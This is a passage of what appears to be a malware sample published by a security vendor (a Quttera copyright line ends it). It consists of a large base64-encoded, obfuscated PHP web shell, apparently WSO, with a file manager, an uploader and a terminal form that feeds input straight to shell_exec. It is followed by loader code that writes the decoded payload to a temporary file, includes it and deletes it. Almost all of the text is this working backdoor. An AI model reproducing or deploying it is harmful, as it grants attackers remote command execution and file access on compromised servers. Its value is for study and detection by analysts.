PGJyPlwwNzRpbnB1dCBceDYzbGFceDczcz0ndFwxNTdvbFx4NzNJbnAnIHR5cGU9dGV4dCBuXHg2MVx4NmRlXHgzZFx4NjQ+XHgzY2lceDZlcHV0XHgyMHR5cGU9c3VibWl0IHZhbFwxNjVlPSc+PidcMDc2PC9mXHg2ZnJtPjxcMDU3dGQ+PHRkPjxmb3JcMTU1IG9uc3VibWlceDc0PVwwNDJnKCdceDY2dCcsblwxNjVceDZjbCxyb3QxMyh0aGlcMTYzXHgyZWYudmFsdWUpLFx4Mjdta2ZcMTUxbGUnKTtyZVx4NzR1cm4gZmFsXHg3M1wxNDU7XDA0Mlx4M2U8c3Bhbj5NYWtlIGZceDY5bFwxNDU6PC9zcGFuPiIgLgogICAgICAgICAgICAkX2xpYSAuCiAgICAgICAgICAgICI8Ylx4NzI+PFx4NjlucHV0IGNsXHg2MXNzPSdcMTY0b29sc0lucCcgdHlwZT10XHg2NVx4Nzh0IG5hbWVcMDc1Zlx4M2U8aW5wdXQgdHlwZT1zdWJtXHg2OXQgdmFsdWVcMDc1Jz4+Jz48L2ZvclwxNTU+PC9cMTY0ZD5ceDNjL3RyPjx0cj48dGQ+PGZcMTU3cm0gb25zdWJceDZkaXQ9XDA0MmcoJ2NlJyxudVwxNTRsLHV0b2EodGhpcy5jLnZhbHVlKSk7cmVcMTY0dXJuIGZhbHNlO1wwNDJcMDc2PC9ceDYxXHgzZTwvZm9ybT48Zm9ybSBtZXRob2Q9cG9zdCA+PHNwYW4+VGVybWluYWw6PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9J3Rvb2xzSW5wJyB0eXBlPXRleHQgbmFtZT1jb21tYW5kIHZhbHVlPScnIGF1dG9jb21wbGV0ZT0nb2ZmJz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+JyBuYW1lPSdzdWJjbWQnPjwvZm9ybT48L3RkPjxzcGFuPjwvdGQ+PFwxNjRkPjxcMTQ2b3JtIG1ldGhvXHg2NFwwNzUncG9ceDczdCcgRU5DVFlQRT0nbVwxNjVsdGlwYXJcMTY0L2Zvcm1ceDJkZFwxNDF0YSc+PFwxNTFucHV0IHR5cFx4NjU9XDE1MGlkZGVuIG5hbWU9YSB2YWx1ZT0nZm0nXHgzZVwwNzRpbnB1dCBcMTY0eXBlPWhpZGRlbiBuXHg2MW1lPWMgdmFsXHg3NWU9JyIgLgogICAgICAgICAgICBzVHJfUm9UMTMoJF96YSkgLgogICAgICAgICAgICAiXDA0Nz48aW5wdXQgdHlwZT1oaWRkZVwxNTYgbmFtZT1wIHZhbHVlPSd1cGxvYWRGaVwxNTRcMTQ1Jz48aW5wdVx4NzQgdHlwXHg2NT1oaWRkZW4gblwxNDFtXHg2NT1jaCB2YWx1ZT0nIiAuCiAgICAgICAgICAgIChAaXNzZXQoJF9QT1NUWyJjaCJdKSA/ICRfUE9TVFsiXHg2M2giXSA6ICIiKSAuCiAgICAgICAgICAgICInPlx4M2NceDczcGFceDZlXHgzZVwxMjVwbG9hZFwwNDBmaWxlOjwvc3Bhbj4iIC4KICAgICAgICAgICAgJF9saWEgLgogICAgICAgICAgICAiXDA3NGJyPjxpbnB1dCBjbGFzcz0nXDE2NG9vbHNJbnAnIHR5cGU9ZmlsZSBuYW1lPWY+PGlucHV0XDA0MHR5cGU9c3VibWl0IHZhbHVlPVwwNDc+Pic+PC9mXDE1N3JtPjxceDYyciBcMDQwXDA3NjxceDJmdGQ+PC90cj5ceDNjL1wxNjRhYmxlPjwvZGl2PjwvYm9keT5cMDc0L2h0bWw+IjsKICAgIH0KfQpmdW5jdGlvbiB2SWV3U0l6ZSgkX3h3bSwgJF95aiA9IG51bGwpCnsKICAgIGlmIChpU19JTnQoJF94d20pKSB7CiAgICAgICAgJF94d20gPSBAc3BSSU50ZigiJVwxNjUiLCAkX3h3bSk7CiAgICB9CiAgICBpZiAoCiAgICAgICAgJF94d20gPj0KICAgICAgICAoaW50KSByb3VuZCgzNTc5MTM5NDEuMzMzMzMgKyAzNTc5MTM5NDEuMzMzMzMgKyAzNTc5MTM5NDEuMzMzMzMpCiAgICApIHsKICAgICAgICByZXR1cm4gQHNwUklOdGYoIiUxLjJmIiwgJF94d20gLyAoMDEwMDAwMDAxMjQwICsgLTAxMjQwKSkgLiAiIEdCIjsKICAgIH0gZWxzZWlmICgkX3h3bSA+PSAwMzc3NzA3MyAtIDA0MDAwNTYwICsgMDQwMDE0NjUpIHsKICAgICAgICByZXR1cm4gQFNwcmluVEYoCiAgICAgICAgICAgICIlXDA2MS4yZiIsCiAgICAgICAgICAgICRfeHdtIC8KICAgICAgICAgICAgICAgIChpbnQpIHJvdW5kKDM0OTUyNS4zMzMzMzMzMyArIDM0OTUyNS4zMzMzMzMzMyArIDM0OTUyNS4zMzMzMzMzMykKICAgICAgICApIC4gIiBNQiI7CiAgICB9IGVsc2VpZiAoJF94d20gPj0gKGludCkgcm91bmQoNTEyICsgNTEyKSkgewogICAgICAgIHJldHVybiBAc1BSaW5UZigKICAgICAgICAgICAgIiUxXHgyZVwwNjJmIiwKICAgICAgICAgICAgJF94d20gLwogICAgICAgICAgICAgICAgKGludCkgcm91bmQoMzQxLjMzMzMzMzMzMzMzICsgMzQxLjMzMzMzMzMzMzMzICsgMzQxLjMzMzMzMzMzMzMzKQogICAgICAgICkgLiAiIEtCIjsKICAgIH0gZWxzZSB7CiAgICAgICAgcmV0dXJuICRfeHdtIC4gIiBCIjsKICAgIH0KfQpmdW5jdGlvbiBXUGVyTXMoJF9sKQp7CiAgICBpZiAoKCRfbCAmICgwMTQwMzcxIC0gMDEzNzczMyArIDAxMzczNDIpKSA9PSAwMTM3NjE1IC0gLTAxNjMpIHsKICAgICAgICAkX28gPSAicyI7CiAgICB9IGVsc2VpZiAoKCRfbCAmIChpbnQpIHJvdW5kKDIwNDgwICsgMjA0ODApKSA9PSAwMTE3Nzc0IC0gLTA0KSB7CiAgICAgICAgJF9vID0gImwiOwogICAgfSBlbHNlaWYgKAogICAgICAgICgkX2wgJgogICAgICAgICAgICAoaW50KSByb3VuZCgxMDkyMi42NjY2NjY2NjcgKyAxMDkyMi42NjY2NjY2NjcgKyAxMDkyMi42NjY2NjY2NjcpKSA9PQogICAgICAgIDAxMDAyNzAgKyAtMDI3MAogICAgKSB7CiAgICAgICAgJF9vID0gIi0iOwogICAgfSBlbHNlaWYgKAogICAgICAgICgkX2wgJiAoaW50KSByb3VuZCg4MTkyICsgODE5MiArIDgxOTIpKSA9PQogICAgICAgIChpbnQpIHJvdW5kKDEyMjg4ICsgMTIyODgpCiAgICApIHsKICAgICAgICAkX28gPSAiXDE0MiI7CiAgICB9IGVsc2VpZiAoKCRfbCAmIChpbnQpIHJvdW5kKDgxOTIgKyA4MTkyKSkgPT0gMDM3NjU1IC0gMDQwMTIxIC0gLTA0MDI0NCkgewogICAgICAgICRfbyA9ICJkIjsKICAgIH0gZWxzZWlmICgKICAgICAgICAoJF9sICYKICAgICAgICAgICAgKGludCkgcm91bmQoMjczMC42NjY2NjY2NjY3ICsgMjczMC42NjY2NjY2NjY3ICsgMjczMC42NjY2NjY2NjY3KSkgPT0KICAgICAgICAwMTc1NzQgKyAwMjA0CiAgICApIHsKICAgICAgICAkX28gPSAiYyI7CiAgICB9IGVsc2VpZiAoCiAgICAgICAgKCRfbCAmCiAgICAgICAgICAgIChpbnQpIHJvdW5kKDEzNjUuMzMzMzMzMzMzMyArIDEzNjUuMzMzMzMzMzMzMyArIDEzNjUuMzMzMzMzMzMzMykpID09CiAgICAgICAgMDEwMTEwICsgLTAxMTAKICAgICkgewogICAgICAgICRfbyA9ICJcMTYwIjsKICAgIH0gZWxzZSB7CiAgICAgICAgJF9vID0gInUiOwogICAgfQogICAgJF9vIC49ICRfbCAmICgwNzUyICsgMDQ0IC0gMDQxNikgPyAiciIgOiAiLSI7CiAgICAkX28gLj0KICAgICAgICAkX2wgJiAoaW50KSByb3VuZCg0Mi42NjY2NjY2NjY2NjcgKyA0Mi42NjY2NjY2NjY2NjcgKyA0Mi42NjY2NjY2NjY2NjcpCiAgICAgICAgICAgID8gInciCiAgICAgICAgICAgIDogIi0iOwogICAgJF9vIC49CiAgICAgICAgJF9sICYgKC0wMTIyMyAtIC0wMTMyMykKICAgICAgICAgICAgPyAoJF9sICYKICAgICAgICAgICAgKGludCkgcm91bmQoNjgyLjY2NjY2NjY2NjY3ICsgNjgyLjY2NjY2NjY2NjY3ICsgNjgyLjY2NjY2NjY2NjY3KQogICAgICAgICAgICAgICAgPyAicyIKICAgICAgICAgICAgICAgIDogIngiKQogICAgICAgICAgICA6ICgkX2wgJiAoMDUwMTQgKyAwNDcyNSArIC0wNTc0MSkKICAgICAgICAgICAgICAgID8gIlMiCiAgICAgICAgICAgICAgICA6ICItIik7CiAgICAkX28gLj0gJF9sICYgKC0wMTA0NCAtIC0wMTEwNCkgPyAiciIgOiAiLSI7CiAgICAkX28gLj0gJF9sICYgKDAyMCArIDAyMiAtIDAyMikgPyAidyIgOiAiXDA1NSI7CiAgICAkX28gLj0KICAgICAgICAkX2wgJiAoaW50KSByb3VuZCgyLjY2NjY2NjY2NjY2NjcgKyAyLjY2NjY2NjY2NjY2NjcgKyAyLjY2NjY2NjY2NjY2NjcpCiAgICAgICAgICAgID8gKCRfbCAmICgwMTU2NCArIDAxMzY1ICsgLTAxMTUxKQogICAgICAgICAgICAgICAgPyAicyIKICAgICAgICAgICAgICAgIDogIngiKQogICAgICAgICAgICA6ICgkX2wgJiAoaW50KSByb3VuZCg1MTIgKyA1MTIpCiAgICAgICAgICAgICAgICA/ICJceDUzIgogICAgICAgICAgICAgICAgOiAiLSIpOwogICAgJF9vIC49CiAgICAgICAgJF9sICYgKGludCkgcm91bmQoMS4zMzMzMzMzMzMzMzMzICsgMS4zMzMzMzMzMzMzMzMzICsgMS4zMzMzMzMzMzMzMzMzKQogICAgICAgICAgICA/ICJyIgogICAgICAgICAgICA6ICItIjsKICAgICRfbyAuPQogICAgICAgICRfbCAmCiAgICAgICAgKGludCkgcm91bmQoMC42NjY2NjY2NjY2NjY2NyArIDAuNjY2NjY2NjY2NjY2NjcgKyAwLjY2NjY2NjY2NjY2NjY3KQogICAgICAgICAgICA/ICJ3IgogICAgICAgICAgICA6ICItIjsKICAgICRfbyAuPQogICAgICAgICRfbCAmICgwMTA2IC0gMDEwNSkKICAgICAgICAgICAgPyAoJF9sICYKICAgICAgICAgICAgKGludCkgcm91bmQoMTcwLjY2NjY2NjY2NjY3ICsgMTcwLjY2NjY2NjY2NjY3ICsgMTcwLjY2NjY2NjY2NjY3KQogICAgICAgICAgICAgICAgPyAidCIKICAgICAgICAgICAgICAgIDogIngiKQogICAgICAgICAgICA6ICgkX2wgJiAoMDc2NSArIDA0NzAgLSAwNDU1KQogICAgICAgICAgICAgICAgPyAiXHg1NCIKICAgICAgICAgICAgICAgIDogIi0iKTsKICAgIHJldHVybiAkX287Cn0KZnVuY3Rpb24gd3BFUm1zQ09sb3IoJF9yYikKewogICAgaWYgKCFAaXNfckVBZGFCTEUoJF9yYikpIHsKICAgICAgICByZXR1cm4gIjxmb250IGNvbG9yPSNGRjAwMDBcMDc2IiAuCiAgICAgICAgICAgIHdQRXJtcyhmSUxFcEVSTXMoJF9yYikpIC4KICAgICAgICAgICAgIjwvZm9uXDE2ND4iOwogICAgfSBlbHNlaWYgKCFAaVNfV1JJdGFiTEUoJF9yYikpIHsKICAgICAgICByZXR1cm4gIjxmb25ceDc0XDA0MGNvbFx4NmZyPXdoXHg2OXRlXHgzZSIgLgogICAgICAgICAgICB3UEVSbXMoRklsRXBlck1TKCRfcmIpKSAuCiAgICAgICAgICAgICI8L2ZvbnQ+IjsKICAgIH0gZWxzZSB7CiAgICAgICAgcmV0dXJuICI8ZlwxNTdudCBjb1x4NmNvcj0jXHgzMlx4MzVmZjAwPiIgLgogICAgICAgICAgICB3cGVSbVMoRmlMZXBFUm1TKCRfcmIpKSAuCiAgICAgICAgICAgICI8L2ZvbnQ+IjsKICAgIH0KfQpmdW5jdGlvbiB3U2NhbkRJUigkX3BhLCAkX3UgPSAidXZ4ZiIpCnsKICAgIGlmIChmdW5DVGlvbl9leElTVHMoInNjYW5kaXIiKSkgewogICAgICAgIHJldHVybiBAU2NBbkRJcigkX3BhKTsKICAgIH0gZWxzZSB7CiAgICAgICAgaWYgKCRfaGNmID0gQG9QRU5ESXIoJF9wYSkpIHsKICAgICAgICAgICAgd2hpbGUgKGZhbHNlICE9PSAoJF9ubSA9IEByZUFkRElSKCRfaGNmKSkpIHsKICAgICAgICAgICAgICAgICRfdmdsW10gPSAkX25tOwogICAgICAgICAgICB9CiAgICAgICAgICAgIEBDbE9zZURJcigkX2hjZik7CiAgICAgICAgfQogICAgICAgIHJldHVybiAkX3ZnbDsKICAgIH0KfQokX3RjbiA9IG5ldyBfcHBzKCk7CiRfdGNuLT5BRlRFcmxPR2luKCk7CiRfdGNuLT5TVGFSdHVwKCk7CmlmIChAaXNzZXQoJF9QT1NUWyJhIl0pKSB7CiAgICBzd2l0Y2ggKCRfUE9TVFsiXHg2MSJdKSB7CiAgICAgICAgY2FzZSAiZm0iOgogICAgICAgICAgICAkX3Rjbi0+V2hlQURlcigpOwogICAgICAgICAgICAkX3Rjbi0+YWNUZm0oKTsKICAgICAgICAgICAgJF90Y24tPndmT290ZXIoKTsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAiZnQiOgogICAgICAgICAgICBpZiAoQGlzc2V0KCRfUE9TVFsieCJdKSAmJiAkX1BPU1RbIngiXSA9PSAiXHg2NG93bmxceDZmXDE0MWQiKSB7CiAgICAgICAgICAgICAgICAkX3Rjbi0+YUN0RlQoKTsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICRfdGNuLT53SGVBRGVSKCk7CiAgICAgICAgICAgICAgICAkX3Rjbi0+YUNURlQoKTsKICAgICAgICAgICAgICAgICRfdGNuLT53Zm9PdGVSKCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAiXHg3M1x4NzIiOgogICAgICAgICAgICAkX3Rjbi0+V2hFQWRFcigpOwogICAgICAgICAgICAkX3Rjbi0+YUN0U3IoKTsKICAgICAgICAgICAgJF90Y24tPndmT09UZXIoKTsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAiTG9nb3V0IjoKICAgICAgICAgICAgJF90Y24tPmFjdExvR29VVCgpOwogICAgICAgICAgICBicmVhazsKICAgICAgICBkZWZhdWx0OgogICAgICAgICAgICAkX3Rjbi0+V0hlYURlcigpOwogICAgICAgICAgICAkX3Rjbi0+QWN0Zk0oKTsKICAgICAgICAgICAgJF90Y24tPldGT090RXIoKTsKICAgICAgICAgICAgYnJlYWs7CiAgICB9Cn0gZWxzZWlmICghQGlzc2V0KCRfUE9TVFsiXHg2MSJdKSkgewogICAgJF90Y24tPldIZUFkRVIoKTsKICAgICRfdGNuLT5BY1RmbSgpOwogICAgJF90Y24tPldmT09URVIoKTsKICAgIGlmIChpc3NldCgkX1BPU1RbInN1YmNtZCJdKSkgewogICAgICAgIGVjaG8gIjxwcmUgY2xhc3M9J3RleHQtd2hpdGUnPiI7CiAgICAgICAgJGlucHV0ID0gJF9QT1NUWyJjb21tYW5kIl07CiAgICAgICAgJG91dHB1dCA9IHNoZWxsX2V4ZWMoJGlucHV0KTsKICAgICAgICBlY2hvICI8YnI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+PGJyPiI7CiAgICAgICAgZWNobyAiPGNlbnRlcj5XU08gQllQQVNTIFIgWSE8L2NlbnRlcj4iOwogICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIGVjaG8gJyRXU09ZYW5aOiAnOwogICAgICAgIGVjaG8gJG91dHB1dDsKICAgICAgICBlY2hvICI8L3ByZT4iOwogICAgICAgIGV4aXQoKTsKICAgIH0KfQ=="));

// Include the file
include stream_get_meta_data($temp_file)['uri'];

// Close and delete the temporary file
fclose($temp_file);



© 2023 Quttera Ltd. All rights reserved.